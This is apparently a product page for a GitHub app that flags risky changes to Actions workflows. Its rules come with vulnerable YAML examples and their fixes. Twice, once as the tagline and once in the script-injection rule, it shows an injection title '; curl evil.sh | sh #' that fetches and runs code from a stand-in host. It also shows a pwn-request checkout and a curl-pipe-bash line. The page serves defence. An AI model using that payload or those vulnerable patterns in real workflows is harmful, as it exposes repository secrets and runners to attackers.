Catch risky workflow changes before they merge.
Actions Guard reviews every pull request that touches .github/workflows and flags the
security risks it adds – script injection, pwn requests, unpinned actions, broad token permissions.
Right on the line, as a check you can require.
"; curl evil.sh | sh # becomes code.
A second reviewer for the file that can leak every secret.
Workflows run with your tokens and secrets. A one-line change there deserves more than a quick look.
A pull request changes a workflow
GitHub tells the app. Pull requests that don't touch .github/workflows are left alone.
Base and head are compared
Both versions of each changed file go through the same rules. Only what's new counts – moved lines don't.
The result lands in the pull request
A check run with annotations on the lines, and one comment that updates itself – or says all clear.
What it catches
Each finding links here. Open a rule for the risky pattern and the fix.
untrusted-checkout
critical
Running a pull request's code with your secrets – a "pwn request".
untrusted-checkout
criticalpull_request_target and workflow_run run with a write token and the repository's secrets, even for forks. Checking out the pull request's code there and running anything from it hands both to whoever opened it.
on: pull_request_target
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm installon: pull_request # no secrets for forks steps: - uses: actions/checkout@v4 - run: npm install
script-injection
high
Titles, bodies, branch names or commit messages pasted into a script.
script-injection
highExpressions are replaced before the shell runs, so a title like "; curl evil.sh | sh # becomes code. Covered: issue, pull request, discussion, comment and review text, commit messages and authors, branch names, wiki page names – in run: and actions/github-script.
- run: echo "${{ github.event.issue.title }}"- env:
TITLE: ${{ github.event.issue.title }}
run: echo "$TITLE"
self-hosted-runner
high
Strangers' pull requests running on your own machines.
self-hosted-runner
highIn a public repository anyone can open a pull request. A pull_request job on a self-hosted runner executes their code on your machine – which usually keeps state between jobs and can reach your network.
on: pull_request
jobs:
test:
runs-on: [self-hosted, linux]on: pull_request
jobs:
test:
runs-on: ubuntu-latest
excessive-permissions
highmediumlow
A token that can do more than the job needs.
excessive-permissions
highmediumlowwrite-all is high. Write access to contents, actions, packages or deployments is medium – it reaches code, workflows and releases. Narrower scopes such as pull-requests, or id-token for trusted publishing, are low: often right, worth a look when a pull request adds them.
permissions: write-all
permissions:
contents: read
jobs:
release:
permissions:
contents: write
unpinned-action
medium
Third-party code on a tag its owner can move.
unpinned-action
mediumA tag like @v2 can be moved by the owner – or whoever takes over their account – and the new code runs with your token and secrets. Pin actions, reusable workflows and docker:// images to a commit SHA or digest. actions/* and github/* are allowed by default.
- uses: some-org/deploy@v2
- uses: some-org/deploy@8f4b7f84bd9e… # v2.1.0
secrets-inherit
medium
Every secret handed to a reusable workflow.
secrets-inherit
mediumsecrets: inherit passes all of the repository's secrets to the called workflow. Pass the ones it uses.
uses: ./.github/workflows/deploy.yml secrets: inherit
uses: ./.github/workflows/deploy.yml
secrets:
token: ${{ secrets.DEPLOY_TOKEN }}
missing-permissions
low
A job that inherits the repository's default token.
missing-permissions
lowWithout permissions: the token gets the repository default, which can be write access to everything. Start from read and widen per job.
on: push jobs: build: …
on: push permissions: contents: read jobs: build: …
curl-pipe-shell
low
Running whatever a server sends today.
curl-pipe-shell
lowA download piped into a shell can change between runs. Fetch a pinned version, check its checksum, then run it.
- run: curl -sSL https://get.tool.sh | bash
- run: |
curl -sSLo tool.sh https://get.tool.sh/v1.4.2
echo "3b1f… tool.sh" | sha256sum -c
bash tool.shBuilt for pull requests, not audits.
Only what's new
A linter run over years of workflows buries you on day one. Actions Guard compares base and head, so it speaks up when a change adds a risk – and not otherwise.
Quiet by design
One comment per pull request that updates itself, annotations right on the lines, and a check that fails only at the severity you choose.
Can't be talked out of it
Settings are read from the base branch, so a pull request can't switch off its own review. Every webhook is verified; nothing is stored.
Running in two minutes
Use the hosted app, run your own, or use the same rules from the command line.
- Install Actions Guard on the repositories you want reviewed.
- Open a pull request that changes a workflow – the check and the comment appear within seconds.
- Optional: require the Actions Guard check in your branch protection rules.
Register your own app – GitHub opens with everything filled in and sends the credentials back to .env:
git clone https://github.com/maximilianfeix/actions-guard && cd actions-guard npm ci && npm run build node dist/bin.js setup --webhook-url https://your-host.example/api/webhook
Then deploy – Vercel (vercel.json is included), Docker (Dockerfile) or node dist/main.js – and install it from the link setup printed.
The same rules for a local check or any CI. Exits 1 when a finding reaches --fail-on.
node dist/bin.js .github/workflows/*.yml node dist/bin.js --base old.yml new.yml # only what new.yml adds node dist/bin.js --fail-on medium --json .github/workflows/*.yml
Optional, in .github/actions-guard.yml on the default branch – read from each pull request's base.
fail_on: high # critical, high, medium, low or never ignore: [curl-pipe-shell] # rules to skip allow_unpinned: [actions/*, github/*, my-org/*]
Asks for little
One event: pull_request.
| Permission | Access | Used for |
|---|---|---|
| Contents | read | the workflow files at base and head |
| Pull requests | write | the changed files, and the comment |
| Checks | write | the check run and its annotations |
| Metadata | read | required by GitHub for every app |
Nothing is kept
- Each webhook is handled in memory and discarded – no code, file contents or personal data are stored or shared.
- Logs hold only the delivery ID, the repository, the pull request number and the outcome.
- No analytics, no cookies. Uninstalling ends all access.
Questions
Why doesn't it report the problems my workflows already have?
.github/workflows/*.yml.Can a pull request turn the check off?
.github/actions-guard.yml is read from the base commit, so edits to it take effect only after they're merged.Does it cost anything?
It flagged something that's fine. What now?
ignore or the action to allow_unpinned in the settings – and please open an issue with the smallest workflow that shows it.Is it made by GitHub?
Your next workflow change, reviewed.
Install it on one repository and open a pull request. If it's quiet, that's the point.